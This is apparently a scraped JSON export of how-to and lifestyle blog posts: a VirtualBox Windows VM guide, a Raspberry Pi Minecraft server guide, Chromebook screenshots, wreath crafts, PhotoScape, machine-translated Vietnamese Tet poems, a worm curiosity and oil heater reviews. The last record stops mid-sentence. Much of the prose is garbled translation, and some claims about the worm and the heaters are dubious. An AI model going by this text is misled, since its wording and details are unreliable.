VirtualBox With VirtualBox installed on your Linux computer, launch the software.\nToday's article will select options for Windows 7, but you should choose the installation that is appropriate for the version of Windows you want to use.\n  Start by clicking New, then name the virtual device. In the drop-down Type menu , make sure that Windows is selected and in Version, select the correct Windows version. You can run pretty much everything from Windows 3.1 to the latest version today.\n  Click Next to continue, and in the next screen, select the memory size for the virtual machine. The recommended default size will appear based on your chosen operating system and your physical computer hardware.\nClick Next to create the virtual hard drive, again choose the default option unless you have a particularly large amount of data to run in the VM.\n  Once done, click Create, then select the file type you like. If you only use virtual hard drives with VirtualBox, click Next. If not, choose another appropriate format. Then, you must specify whether the virtual HDD is dynamically assigned (ie it increases the size required, up to the upper limit set earlier) or has a fixed size. In most cases, you will want it dynamic.\nClick Next to continue, confirm (or change) the file name, location and size, then select Create again to continue.\nInstall Windows on Linux With the virtual machine configured - treat it like building a PC but with virtual components - you're ready to install Windows. Whether you are using a disk or USB drive to distribute ISO, it's time to plug the device containing this ISO file into your computer!\n  Now, click the blue Start arrow, and select the location of the source data - the Windows installation disc. Click Start, then wait for the virtual computer to load Windows settings.\n  If you have previously installed Windows, you will get used to this. If not, the wizard will help you with the process.\nLaunch Windows and install the software! At this point, you have completed the necessary steps. You will be able to boot into Windows and install the software, via DVD (thanks to VirtualBox tools) or by downloading and installing.\nAll of your normal Windows applications will run as usual, only limited by the server's hardware - the physical computer that you have installed VirtualBox. Using virtual machines is probably the best way to run Windows applications and games if tools like Wine and PlayOnLinux fail.\nHaving a Windows virtual machine that you can easily turn on and off conveniently, while continuing to use your Linux computer every day, is a great advantage. If you need to run Windows software and have hardware that supports virtualization, this is a great solution.\nDo you run Windows in a virtual machine on Linux? Is this your preferred method of running Windows software? Let us know your opinion in the comment section below!\nSee more:\nRun Windows in Ubuntu with VMware Player How to run Windows applications on Linux with Vineyard How to run Windows applications in Linux ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZLChnpm8uL%2BMr6CrrKWWuW65wJyfoqaVYravecuipa6w\n","link":"/post/how-to-set-up-a-windows-virtual-machine-in-linux/","section":"post","tags":null,"title":"How to set up a Windows virtual machine in Linux"},{"body":"Want to play Minecraft in your own way? You want to set up servers, build your own world and enjoy them together with friends and family? The good news is that you can do all this on Raspberry Pi.\nSuppose your son is a fan of Minecraft and always wants you to play with it. This is not easy to do while your child plays on a tablet. In addition, your child is too young, so allowing it to play online games doesn't seem very suitable.\nThe solution is simple: Setting up Minecraft server on Raspberry Pi. The installation process is very simple!\nA detailed guide on how to set up Minecraft server on Raspberry Pi What do you need to prepare? Which version of Minecraft is right for you? Instructions for setting up Minecraft server on Raspberry Pi Step 1: Raspbian installation and configuration Pi Step 2: Install Minecraft server Step 3: Configure Minecraft server Step 4: Connect to Minecraft server on Raspberry Pi Step 5: Expand Minecraft server functions with Nukkit plugins  What do you need to prepare? For the Minecraft server build on Raspberry Pi, you will need:\nA Raspberry Pi 3 (or newer) and power cable. Suppose your Pi is placed in a case. Ethernet cable (more suitable for wireless networks). Memory card with 8GB or larger capacity. Although previous Pi models can be used for this, the results are not very good. These tutorials for Raspberry Pi 3 and 4 will give you the best Minecraft server possible.\nAll of these, when used with remote SSH connections, will allow you to set your Pi as a Minecraft server. If SSH is not an option, you will also need:\nUSB keyboard USB mouse (or a combination of both) 1 x HDMI cable A compatible screen Connect these peripherals before turning on your Raspberry Pi power.\nOf course, you will also need a Minecraft copy on your computer. Note that the system parameters of Raspberry Pi mean you can't host too many people. For Pi 3, make sure not to try to host more than 10 people.\nWhich version of Minecraft is right for you?   Some Minecraft versions are available. Creating this server will give you a world that you can access from any device running Minecraft, except MinecraftPi. Therefore, Minecraft versions on Windows PCs, game consoles, Android, iOS, Amazon Fire TV and tablet devices will work with this server.\nThus, if you have several devices on the local network, all can access Minecraft server.\nIn short, you will need the main game to open Minecraft from Mojang. Refer to:\nhttps://www.minecraft.net/en-us/  Instructions for setting up Minecraft server on Raspberry Pi Step 1: Raspbian installation and configuration Pi Start with a new copy of Raspbian. You will find the latest version at:\nhttp://www.raspberrypi.org/downloads  Follow the full instructions of TipsMake.com on how to install the operating system for Raspberry Pi. If this seems too complicated, try the NOOBS installer instead.\nIf you like to stick with an existing Raspbian copy, just upgrade to the latest version and update your packages:\nsudo apt update sudo apt upgrade  Next, configure the Raspbian environment to run Minecraft server. If you have set it up with a screen and keyboard, simply open the Raspberry Pi Configuration tool in the Preferences menu on the screen.\nIf you access via SSH, use sudo raspi-config to open the text-based configuration tool.\nHere, make the following changes:\nGo to Advanced Options\u0026gt; Memory Split and change the setting to 16MB. This will free up more memory resources for the server. Next, go to Boot Options\u0026gt; Desktop / CLI and select Console. (No need to do this on Raspbian Lite). If you're trying this with Raspberry Pi 1 or 2, look for Overclock on the main menu and set it to High. (Raspberry Pi 3 and 4 users can skip this step). Activate SSH in Advanced Options\u0026gt; SSH . Finally, go to Advanced\u0026gt; Expand Filesystem . With the changes made, click Finish and restart Raspbian at the prompt. Once completed, log back in and find the device's IP address with:\nsudo hostname -I  Or:\nifconfig  Write down the IP address before continuing.\nStep 2: Install Minecraft server Install Minecraft on Raspberry Pi based on Nukkit server software. Developed exclusively for Minecraft: Pocket Edition, Nukkit can be easily installed on Pi via the command line.\nStart by installing Java. This is required for Nukkit to run:\nsudo apt install oracle-java8-jdk  Next create a new folder (labeled ' nukkit ') then open it:\nmkdir nukkit cd nukkit  Then download the Nukkit server software. Be sure to enter the following command correctly (it will be easier if copying and pasting into the SSH session).\nwget -O nukkit.jar http://ci.mengcraft.com:8080/job/nukkit/lastSuccessfulBuild/artifact/target/nukkit-1.0-SNAPSHOT.jar  You can find the most up-to-date builds on the project page:\nhttps://ci.nukkitx.com/job/NukkitX/job/Nukkit/job/master/  After downloading, run Nukkit:\nsudo java -jar nukkit.jar  This command prompts Nukkit to set up the server. When prompted, select the language you want (for example, using English) and then follow the created Minecraft server.\nStep 3: Configure Minecraft server When you know the server is set up correctly, it's time to configure it. Two configuration files are included with Nukkit: nukkit.yml and server.properIES.\nTo edit them, simply open them in your favorite text editor. On Raspbian, nano is pre-installed, so use:\nsudo nano nukkit.yml  Or\nsudo nano server.properties  Many different changes are recommended. With whatever you change here, always remember that Pi is a modest device and can't handle too many things.\n  A list of server properties can be found in the Minecraft wiki (reference link: https://minecraft.gamepedia.com/Server.properties), but some should be edited immediately. Starts with:\nmax-players=10  Older Raspberry Pi models will have to 'wrestle' with more than 10 players. You can be fine with about 5 - 6 players. Some other options are available for configuration that you might be interested in, such as:\npvp=on  This is for players, as well as players' actions. There is also a difficulty setting:\ndifficulty=1  Here, the easiest setting is 0 .\nWhen you're done, press Ctrl + X to save and exit, then run:\nsudo java -jar nukkit.jar  This command will restart the Minecraft server software.\nStep 4: Connect to Minecraft server on Raspberry Pi Your Minecraft server will now be online on your local network. Check this with the ping command from another device, using the IP address you recorded earlier. If ping returns a response from the Raspberry Pi, you can continue.\nAll you need to do is launch Minecraft on your computer or tablet, then click Play\u0026gt; Servers . Here, click Add Server, enter new server details, name and add the IP address. The port number must match the number listed in the server attribute. If not, change it!\n  Your server will then be listed as an option to connect. Simply select the server to start playing.\nStep 5: Expand Minecraft server functions with Nukkit plugins The default configuration for Nukkit server may not be entirely to your liking. Tweaking nukkit.yml and server.properies is an option, but may make you go too far.\nPlugins developed for Nukkit allow you to improve basic gameplay. This additional features on the online session were ignored.\nThe proposed Nukkit plugins include:\nMobPlugin: Add mobs and many animals to Minecraft environment. WorldEssentials: Allow different game modes. EssentialsNK: Includes additional game modes, multiplayer management tools and more. They can be installed simply by downloading your Raspberry Pi and moving into the plugin directory.\nFor example, MobPlugin can be moved by:\nsudo mv MobPlugin-1.9.0.1.jar plugins  Visit nukkitx.com website and click Resources to choose from over 250 plugins for Raspberry Pi Minecraft server.\n  That's all you need to do! Your own Minecraft game server will run on Raspberry Pi. If it works, you'll have a Minecraft world where you can connect and use it whenever you want. If your child is particularly fond of Minecraft, self-hosting Minecraft servers on the local network makes their online activities safe, at least when playing their favorite games.\nIf you want to do more with Raspberry Pi and games, check out the list of 11 classic Raspberry Pi games that run without the TipsMake.com emulator .\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIymoKedk6eup8CMrJyrrpWnerC6jKuYrKiSmr%2BzxYypoA%3D%3D\n","link":"/post/how-to-set-up-minecraft-server-on-raspberry-pi/","section":"post","tags":null,"title":"How to set up Minecraft server on Raspberry Pi"},{"body":"The process of take a screenshot on chromebook\u0026nbsp;may be different from what you are used to doing on a Windows or Mac PC, but not by much. If you don't know how to take screenshots in Chrome OS, the good news is that doing so is quite simple.\nWhether you want to capture part or all of the screen on your Chromebook, the instructions below will show you how to do it in detail. Find out right here!\nNote: Depending on the model and manufacturer of the Chromebook, the keys may appear in different locations on the keyboard.\nCapture a Chromebook screen with the keyboard To take screenshots on Chromebooks, you can use the following two quick keyboard tips. Both ways need to use the Switch Window key (or Show Windows). This button is usually found in the top row.\n  To take a screenshot of full screen, hold Ctrl + Switch Window .\nIf you want to capture only part of the screen, press and hold Ctrl + Shift + Switch Window , then click and drag the cursor to select the area you want to capture.\nFor an external keyboard, the keystrokes are different:\nFull screen screenshot: Ctrl + F5 Screen shot of part screen: Ctrl + Shift + F5 In each case, you will receive a small confirmation window, which appears quickly on the screen, letting you know the photo was successfully taken.\nCapture Chromebook screens with the side buttons If your Chromebook is in tablet mode, you can take screenshots by turning the keyboard upside down. However, there is an easier way to do this, just like on Android phones.\n  Press the power button and volume down button at the same time to take screenshot. This will capture the entire screen, so if you want to capture a portion of the screen, use the keystrokes described in the first method.\nNote : The volume buttons do not change in the direction of the screen, so make sure you press the volume down button correctly on the device.\nCapture a Chromebook screen with the stylus Some Chromebooks, like Pixelbook or Samsung Chromebook Plus (or Pro), have a stylus. You can use it as an additional option for taking screenshots.\n  This pen provides a menu of tools for you to perform partial or full screen capture. It also allows you to annotate screenshots as well.\nCapture Chromebook screenshots through screen capture apps and extensions If you want more functionality, you can choose a screenshot app or extension from Google's Chrome Web Store.\n  Some of the best screen capture apps available include FireShot, Lightshot, Awesome Screenshot, SuperChrome and 1Click Screenshot.\nUsing extensions, like Nimbus Screenshot and Screen Video Recorder, can help you take screenshots on Chromebooks. This app not only allows you to take screenshots but also record videos. If you want to take a screenshot of a specific item on the menu, Nimbus Screenshot and Screen Video Recorder also allows you to delay the screenshot.\nWhere to find screenshots on Chromebook? The Downloads folder in the Files app on Chromebook is the default location for saving screenshots. You can find the desired screenshot based on the shooting date. You can also edit it by cutting, adding filters or other editing options.\nTo permanently save a screenshot on your Chromebook, back it up to Google Drive or upload it to Google Photos.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaskaC2r7OMnJ%2Brp52ar7C7ymaqnKqVmru0tM6tqg%3D%3D\n","link":"/post/how-to-take-a-screenshot-on-chromebook/","section":"post","tags":null,"title":"How to take a screenshot on chromebook"},{"body":"Christmas atmosphere is coming very close, spreading throughout the street. In the days, besides pine trees, laurels are also an indispensable symbol for decorating the house on Christmas Eve. According to a long tradition, they are often hung on the wall or at the entrance during Christmas with the hope of receiving many blessings from the Lord.\nToday's laurels are sold a lot in souvenirs, but for this item to become more meaningful, you can also make a laurel wreath from infinite materials Simple, available right in the house to make a mark on this Christmas 2017.\n1. Make laurels from old sweater Materials needed:\nOld sweater with 3 colors: green, gray and yellow. If you don't have this colored sweater, you can use the old colored shirt you want to make your own idea. But pay attention to match the colors between them accordingly. Scissors, fabric glue A cardboard cover Making:\n  \nStep 1:\n  \nFirst you need to cut the cardboard into a circle of laurels. You can choose the size to fit in your home.\nStep 2:\n  \nTake a sloppy sweater, cut a large piece of fabric used to wrap around the cardboard.\nStep 3:\n  \nCut the remaining sweaters into circles about 12-13cm in size to make flowers for the laurel wreath.\nStep 4:\n  \nUse chalk to draw spiral circles on the cloth, then use scissors to cut the chalk that you have drawn earlier.\nStep 5:\n  \nNow you just need to wrap the cut cloth into a rose shape. And roll the flowers like that to the end of the fabric. Use glue to fix the fabric.\nStep 6:\n  \nFinally, you just need to use glue to attach the flowers to the previously prepared laurel wreath. Should alternate flowers of different colors to create aesthetic effect for the laurel wreath.\n    Adjust the roses so that the scales are the best. Wait for the glue to dry, you have a hanging wreath of Christmas decorations!\n2. Make laurels with super nice Christmas decorations only from clothes hangers Prepare:\nClothes hangers Multi-colored plastic ball with hanging holes A big bow How to do the following:\nStep 1:\n  \nWith a hanger, you can use the hand to hold the hook into a large circular frame.\nStep 2:\n  \nLightly twist the twist on the hook with your hand to hang the plastic balls inside.\nStep 3:\n  \nInsert the plastic balls of different colors and sizes into the hook, staring the balls of the balls covering the hanger.\nStep 4:\n  \nTwist the top of the hook and re-align the laurel wreath. Then use the large bow tie attached to the top of the hook.\nYou can hang the laurel wreath in front of the house, add a small pine tree, and Noel's air will fill your room. Surely the children in your family will be very interested in these laurels. Let's start working to have a meaningful Christmas season.\nHope you are succesful.\nSee more:\nHow to make Christmas wreaths with beautiful and simple wall stickers with colored paper 6 simple ways to make laurel wreaths decorated How to make laurel wreath with extremely unique toilet paper core ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWalkaC2r7OMpZiuqpWhwG6y0aikZqecmXq0w8Saq56qo2Kur7CMnKOorJiawG60wKeenqqj\n","link":"/post/instructions-for-making-laurels-from-old-sweaters-and-clothes-hangers/","section":"post","tags":null,"title":"Instructions for making laurels from old sweaters and clothes hangers"},{"body":"You really want to own black and white photos of art but are still struggling to learn how to do it. Please refer to our article below to manually create beautiful black and white photos in just a few simple steps.\nHow to edit photos with Camera360 on the computer How to find the same image on Google Image? Instructions for creating GIF images with Imgur.com Step 1 : Open the PhotoScape program, on the main interface, click on the Editor in the middle of the screen ( in the picture below ) to edit the image.\n  Step 2 : Point to the folder containing the color image you want to convert to black and white. After finding the photo to edit, click on the image to move it to the right-hand frame. Next choose one of the 4 functions to convert black and white images from color images ( as shown in the picture below ).\n  Step 3 : If you want to create more frames, borders, insert text on images or some other effects, click on Object . Then, add and edit to match the photo.\n  Step 4: After editing, click the Save button to save the black and white image you just created on your computer.\n  Step 5 : Soon the Save window appears allowing you to save the following options:\nSave : Save this image overwrite the original image and back up the original image to a folder named \" Orifinals \". Save in the designated folder : Save the image to the specified folder. Save as : Save the image with a new name. If you want to choose the image quality, select it in the JPEG Quality box, then drag and choose the quality as you like. If you want to back up the original photos in the \"Originals\" folder, check the box Create a backup of the original photo in the \"Originals\" folder .\n  So you have finished an art black and white photo. Not too difficult, right?\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kuqK3xGaYq6yZqMGqr4ybo5qbm2Kur7CMsJ%2BirJVivam706iqZq%2BZqbVuvMeoq6irk5a9pg%3D%3D\n","link":"/post/make-artistic-black-and-white-photos-with-photoscape/","section":"post","tags":null,"title":"Make artistic black and white photos with PhotoScape"},{"body":"Spring is the beginning of a year, this is the season associated with Tet, which usually begins in January and ends in March of the calendar. According to the historical tradition of the Vietnamese people, in the beginning of the year, people always prepare meaningful New Year greetings and wishes in the early spring as a gift of too great spiritual value to give to friends and people Dear. Vietnamese New Year wishes always bring the national and humanity and meaning in each word.\nSo, on this occasion of the New Year of the Lunar New Year (2018), have you prepared good verses, poems and meanings to send people on this New Year's Day? If you are still wondering what meaningful poem and wishes are found, you can refer to some of the poems, poems and Tet wishes or below our summary.\nHappy New Year wishes, congratulate the meaningful year of the 2018 Mau Tu New Year greetings messages love words   1. Who clings to the spring Who clings the spring down\nLet my hair float The heart is still full of desire Love appears spring rain\nLove is like fifteen\nAustria hugs a small waist Pure silk shoulder I dare to touch\nLove is far away\nWhen my eyes are closed Fluffy pink lips Kiss like the first day\nTa broke into each other\nWhere is the time? Heaven and earth stopped breathing Only me together\nAnd . morning dew filled\nAnd . the grass is full of flowers We reach out and drink quickly Fragrant dew drops early in the day.\n2. You give me spring Each night a pack of medicine\nAbsorb a lot of cracked lips Sadness cannot speak Sadness ate on me\nWinter sky mountain forest\nExtremely winter life! Wheels roll dust Any bird rhythm has stopped\n\"You give me the spring\"\nToo sad voice! The first girl bowed: \"You give me the spring\"\nThe blue hair was silver\nThe pink lips are fading I give you wind I give you a long rain!\nWinter sky mountain forest\nExtremely winter life! Smoking in the dark Do smoke fly up?\n3. Warm cold spring Who drops gold flying in the wind?\nFor sunlit roads this afternoon\nWarm hands spring just arrived\nThe passion is not drunk yet\nLoving hard yellow apricot wings\nI never miss an appointment .\n   4. Spring song I write a spring poem\nThousands of nine hundred and sixty-one\nBranch of apple in the beginning of summer is shaking\nSunny dew drops glitter .\nMuch cold and warm sunshine\nIs it really bitter and sweet?\nFarewell to the old year\nHeard the new spring of incredible lightheadedness!\n***\nGood spring! What's fun?\nDear baby? Her cheeks are red\nLike the first date, passionate\nI hold my hand, lively and clumsy\nThat said: \"That is my heart\nVery honestly divided the three fresh red parts:\nHe is dedicated to the Party a lot\nThe part for poetry, and the part for love . \"\nI'm ashamed: \"That's a lot of you too!\"\nThen they kissed, two comrades\nD get together, until tomorrow morning\nI picked you up, spring also came in my hands!\n***\nOh, the song of the bird chirping\nIn spring, the rice fields were springing and I flew\nSpring, spring, happy to the big butt\nFunny sea gave white waves of rapids\nPoetry sang, cool in wishes:\nWay to happiness is immense\nTam Dao and Ba Vi are happy with spring and green mountains .\nHi 61! High peaks\nI stand here, looking at the four directions\nLooking back thousands of years, looking forward to tomorrow\nLooking North, looking all over the globe!\nafter a tumultuous\nThe poem is still in pain of love\nFloating life\nTố Như ơi, ratio flows around Kiều's body!\nListen to Nguyen Trai adventure's soul\nThe sound of the sword, the voice of the heart .\nOh the sound of his old father\nPlease sing young water today:\nA region of heaven and earth in hand\nAlthough not yet integrity, also fly the pink flag!\nVietnam, a heroic nation\nThe bare hands that have succeeded should be people!\nWhat is more wonderful than that on Earth\nPeople who love life to love each other\nThe Party gives us a rich heart\nStraight back and walk, raise your head and fly!\n***\nHappy life, open the door today\nLike my department store\nDear lovers, please buy flowers\nAnd go there, buy some wedding gifts:\nNam Dinh silk is beautiful and fresh\nHang Dao comb brushed green hair!\nI am still poor, my house is crowded\nBut there are enough hanging paintings for Tet .\nThat happy life, the sound of Solidarity\nI hold hands and rebuild my life\nRice fields, sweet potato fields, cassava fields and coffee gardens\nPig sty, chicken flock, vegetable herd, fish pond\nClear the droppings, pick up every leaf\nEach coal, cassava, and corn\nI cherish and gather up my fortune!\n***\nOh true, poem in the North\nVery free to be fresh and playful\nThe whole space is close\nTime also forgot the week of forgetting months.\nYoung life again. All revolutionary!\nClean and lonely, lonely, and dirty\nOur homeland is busy with the common fun\nThe collaborator should add that thick rice.\nBreast enlargement. Small rows of willow\nGot green like a fifteen-year-old hair\nSpring, Spring, I was only in the middle of the year\nBut life was jubilantly celebrating\nLike today, in the middle of the construction site\nTransport convoys are connected\nHong Quang, Lao Cai, Thai Nguyen, Viet Tri\nThe name of the country cheered and called .\n***\nCome on! Uncle Ho said\nNew Year's Eve, singing night spring\nFive-year plan. Invite troops\nInvite feet, move forward.\nAll under the flag, sing up and step!\nLet's go! Exploiting wild forest\nAsk high mountains, where is the iron?\nAsk the far sea, where does the fish flow run?\nDa River, Lo River, Red River and Chay River\nAsk where to jump, for electricity to turn?\nDear boys and girls\nOn cloudy passes and rocky mountains\nLet's do both hands!\nSpring is here. Hustle the future\nSmoke of new factories early .\n***\nWhose poem do I write for 61?\nThe night was already late, cold in frostbite\nHanoi murmured . The horn blew out of the station\nA train that transports bread away\nThe sound of hissing, running along Nam Bo road .\nOh, not the ship! That is my heart\nA pounding sound, wanting to break in half!\nI know you are strong, my heart\nDon't cry. But why is it hot?\nLike fire burning in our hearts windy?\nThese days, like a homesick child\nI wander all the time, burning, coming in\nListen to the sound and hear gunfire\nSouthern up, cheering up!\nMy three children have slept for a long time\nHow much has not been sleeping in the crib\nNorthern paradise of my children!\nMorning roostercrows. Poetry, bring wings of fire\nFly away! The bird cried at the door\nOne more spring day. Dawn\nBranch of apple in the top of summer is sweet\nAs simple happiness, small dreams\nHanging in front of the human race:\nPeace\nWarm up\nFor\nHuman\nHappy\nFree!\n   5. Song about the city spring Maybe in my voice\nThere is a lot of attachment\nBut with that song\nI was very rustic\nHonestly\nI sing the first steps\nSpring's on the city\nI was away two thousand kilometers away\nCan't imagine Saigon soon\nOnly the song came to me first\nTone the steps of pregnancy\nBlack notes without jewelry\nI am singing black notes - really honest\nLet me recognize Saigon that morning\nThe sky is very high\nSweet rain clean leaves of me\nBusy steps and serenity\nHundreds of innocent houses expand\nThe same pain will come to joy\nExhilarating joy is tears flowing .\nThe song goes along with me saying that\nBlack notes on music\nBlack notes without jewelry\nBlack notes used to be in the forest and cloaked\nTill now, I was fifteen years old\nI understand your voice still has a lot of attachment\nBut with that song\nPlease be as rustic as you can, be honest\nNo matter who is digging, whoever changes erratically\nPlease sing the steps of stamina and dynamism\nSpring's overflowing on the ends of the umbrella\nI sing so that my heart lusts\nLet me get lost in the rush of people\nLet me share with Saigon\nThe chest is stretched out in April\nLet Saigon in me intact\nThe old melody in the verse now\nCharming black notes that are true\nSing this spring to my hometown.\n   6. Baby calls spring Spring has swallows\nSpring with flying clouds Spring flowers bloom Spring is fun all day!\nBaby is now small\nHaven't seen swallows yet Spring, baby call Don't make him wait long!\n7. On my side, I'm spring Do you hear from heaven and earth?\nWhisper Pour every drop in, happy Love is rising from grass The passionate passion of the wind Listen to me What I want to open It's a little bit, but it is very earnest, you!\nI will not find in the sad autumn memories\nA little rain through the afternoon . I know: just add a sunny shade The leaves are not yellow because the green is very close I am together Love season infatuated. free .\nPlease listen to the words\nSoothing Thousands of shimmering particles The heart trembles and keeps the words fresh The tilting of the night is very light Listen to me Spring just came Smiles at the branch and I always stay with you!\n   8. Outside the spring Suppose there is a homeland\nSuppose there is a paradise Then in heaven there is god And there is love in the homeland.\nSuppose life has spring\nSuppose the spring only blooms once It is very new to not have makeup yet One look at each other is familiar enough.\nIf you assume that you were born\nStagnant dry just alone And I will never be there Then he is still a clay.\nBut you are here\nand I am there God waved his hand and stood up I looked silly like a beggar Love is like silver.\nSo homeland\nbewildered He stood in the world and still wandered So heaven extremely isolated He lived in life very confused\nBecause I can't see you\nrush to call He suddenly found himself in a fluster Be absorbed in search I forgot to reply He waited outside the spring.\n9. Spring emotions This spring is so beautiful\nHe felt his heart flutter Is spring springing on leaf buds? Or warm your heart because of me\nHe was immersed in pure fresh colors\nOf spring, my heart is burning\nPlease smile\nDo not leave the eye Ripple of sadness obscures the moon\n  10. For the brilliant spring East wind is like a blade\nCold blade Where did the knife go? It's cold to know\nTree foliage spread\nWind and cover your body Tomorrow is so clever! In bare body bare\nThis branch is high and low\nThis is a big branch Every day and night cuddling Green buds dating\nThen a beautiful day!\nGolden buds bloom Beautiful for life For the brilliant spring.\n11. For the brilliant spring East wind is like a blade\nCold blade Where did the knife go? It's cold to know\nTree foliage spread\nWind and cover your body Tomorrow is so clever! In bare body bare\nThis branch is high and low\nThis is a big branch Every day and night cuddling Green buds dating\nThen a beautiful day!\nGolden buds bloom Beautiful for life For the brilliant spring.\n  12. Poetry of Tet Tet Tuat Tu 2018 This spring is better than the past few\nBlessed people bring each other to each house A few words to wish the new year thousands of thousands of healthy wellbeing\n13. Tet wishes and wishes happy and happy Round year please see the winter break\nNEW welcome fresh spring to every home\nThe gift of the present life added the word Hy\nHAPPY happy all over the world\nHAPPINESS\nPHUC LOC, the famous name of the ivory light\nCHAN acrid drum trumpet, Composite scene\nCHARM, flute\n  14. New Year 2017 Poetry is for the birth Thank you deep sea parents\nWhy do you pay off your head and hair\nSpring allows children\nI wish my parents a life like heaven.\n15. Tet wishes for you to be 'old' New year wishes each other a lot of health\nSilver money is comfortable and comfortable\nHappy family friends\nPeacefully playing every afternoon\n  16. Peaceful Poem for Tet - Tai Loc - Glory In early spring, BINH AN was happy\nWish you always wished AN KHANG\nI wish you a lot of Fortune in the new year\nSuccessful achievement of VINH QUANG wishes\n17. Happy New Year poem Mau Tuat's fortune, well-being, well-being, thousands of goodness New Year's New Year comes\nPick up a lucky man into the house\nGreat cable gifts\nEvery house is full\nGold and silver are full of jars\nHomeowners are talented\nYoung old girl and boy\nSum is happy\nPray for blessing\nLocate all year round\nProsperity.\n  18. Poetry wishes the New Year of 2018 to welcome the peaceful new year Offer the new year a free word.\nHappy family to peace\nThe New Year brings Happiness.\nSring comes, fullfill happiness\nSee more:\nHappy New Year Poetry 2018 humorous and witty Poems to celebrate New Year and the meaning of Mau Tuat Spring 13 traditional customs during the traditional Vietnamese New Year ncG1vNJzZmismaXArq3KnmWcp51kwabAjLCgrKCVqHqou86dZKmnlaLAbrvNZqqpqpmjtG7AzmaanqSVl7%2BiwMRmq6GdXaOyuHnYnpirZWJlfnk%3D\n","link":"/post/tet-wishes-good-poems-on-spring-to-celebrate-the-new-year-2018/","section":"post","tags":null,"title":"Tet wishes, good poems on spring to celebrate the new year 2018"},{"body":"A green mollusc creature and a 'superhuman' pink tongue can stretch, shrink quickly to find the prey caught by a Taiwanese fisherman quickly attracting attention. of scientists.\nGoose bumps with movements like fictional creatures of bloodworms Mysterious creatures 'dance' strange dance when someone touches it After the study, the scientists assumed that this strange creature was an ice worm or Nemertean worm - scientific name Lineus fuscoviridis. They often live in the waters between Japan and the Philippines with the ability to stretch their bodies up to 2m.\nThis species of ice worm is usually only a few millimeters long but also has a strong growing subspecies, up to 10 - 30 meters long. They come in different colors like green, red, yellow, orange .\nAlthough the body of this bizarre creature is covered with slime, it does not leave traces on the way when moving. In particular, the Nemertean worm can stretch the body up to 10 times to catch prey and quickly shrink it when in danger.\n  Their predatory weapon is a pink sharp tap containing poison tetrodotoxin - a poison in puffer fish. If this is poisoned, the prey will be paralyzed and become a meal for this peculiar worm.\nSee also: Strange back-to-head creatures, turning prey into water\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJugs5mip7JursuunGabopqutcHRnmShmaNiwLa8xKtkpaeenHqxtc2kZK2nnpzCpg%3D%3D\n","link":"/post/the-bizarre-blue-creature-has-super-long-pink-tongue/","section":"post","tags":null,"title":"The bizarre blue creature has super long pink tongue"},{"body":"FujiE OFR5513 oil heater, Tiross oil heater 13 bar TS926-1, Tiross oil heater 11 bar TS920, Tiross 13 bar oil heater TS-926, Sunhouse 13 oil heater SHD7085 are 5 names that consumers beat The price is very high in quality, safety as well as integrating more modern features than other oil heater lines, will certainly explode sales in the number of buyers, deserving to own.\nLet's take a closer look at what these 5 models of oil heaters stand out for, but are expected to be the bestsellers in 2019.\nExplore more:\nDifferential oil heater Tiross 9 bar, 11 bar, 13 heat bar Does the heater have electricity? Are oil heaters available for babies? Indispensable heating in winter 1. FujiE OFR5513 oil heater - 13 heating rods - Reference price: 2,250,000 VND Advantages:\nFujiE oil heater has a self-disconnected relay, so it is extremely safe to use electricity. The temperature warms up to 27 degrees, helping to protect your health better. The machine does not burn oxygen, does not dry the skin, does not cause breathing difficulties when used. Can be used in both babies and young children. Timer function up to 24 hours. The machine comes with a drying rack, with a warm fan. Oil heater has 13 heating bars suitable for maximum room area of ​​30m². The product has 3 power levels to choose from: 1,000W / 2,000W / 3,000W for better heating efficiency.   \nSpecifications:\nNumber of bars: 13 Use area: 20 - 30 m² Capacity: 3,400W Fan capacity: 400W Timer: Yes Moving wheels: 4 wheels Voltage source: 220V / 50Hz Product size: 60.5cm x 14.5cm x 57.5cm Weight: 16.5kg Made in China Brand: Japan Warranty 12 months 2. Oil heater Tiross 13 bar TS926-1 - Reference price: 1,790,000 VND Advantages:\nTiross oil heater has 3 temperature adjustment levels, easy-to-use mechanical knob. TS926-1 has a rugged design, equipped with 4 wheels to move. The device also integrates self-pause when tilting feature to help users completely feel secure when using. The drying rack provided helps you to dry clothes very conveniently. It has up to 13 heating rods for faster warming effect, suitable for room spaces from 20 to 25 m².   \nSpecifications:\nNumber of bars: 13 Use area: 20 - 25 m² Capacity: 2,500W Moving wheel: Yes Voltage source: 220V - 240V / 50Hz - 60Hz Made in China Brand: Poland Warranty 12 months\n 3. Sunhouse 13 oil heater SHD7085 - Reference price: 2,569,000 Advantages :\nSunhouse oil heaters design more luxurious and refined colors and designs. It is suitable for rooms with a maximum area of ​​25m². Remote-equipped SHD7085 provides easy remote control. It has a power-saving Eco function, has a panel lock function so that others cannot change the previous settings. Easily adjust the temperature and capacity as you like. Works with low noise levels, does not burn oxygen, keeps moisture balance in the room. Timer setting from 1 - 9 hours. Set the heating temperature from 5 - 35 degrees C. Oil heaters are equipped with drying rack and handles to help move the machine easily.   \nSpecifications:\nNumber of bars: 13 Color: Black Use area: 20 - 25 m² Capacity: 2,500W Remote control: Yes Timer: Yes Moving wheel: Yes Voltage source: 220V / 50Hz Product size: 14cm x 58cm x 69cm Weight: 15.7kg Made in China Brand: Korea Warranty 12 months 4. Tiross oil heater 11 bar TS920 - Reference price: 2,150,000 VND Advantages:\nDo not dry the skin, do not burn oxygen even when used in a closed room so it feels comfortable to use. It is very suitable for heating newborn babies or babies and young children. Sturdy tripod helps to prevent tilting. Heat conductors are good for faster room warming. In the process of using without maintenance, no need to replace oil to save costs. When using, it does not emit light, no noise. Oil is burned in closed tubes, does not produce unpleasant odors or smells like other heating lamps. In addition, the machine also integrates with modern features such as warm fan, timer, drying rack and water box to create moisture to prevent dry skin. Oil heater 11 bar suitable for rooms with an area of ​​15 - 20 m².   \nSpecifications:\nNumber of bars: 11 Accessories: Drying rack Use area: 15 - 20 m² Capacity: 2,500W Fan capacity: 300W Timer: Yes Moving wheel: Yes Voltage source: 220V - 240V / 50Hz - 60Hz Made in China Brand: Poland Warranty 12 months 5. Oil heater Tiross 13 bar TS-926 - Reference price: VND 2,290,000 Advantages:\nThe 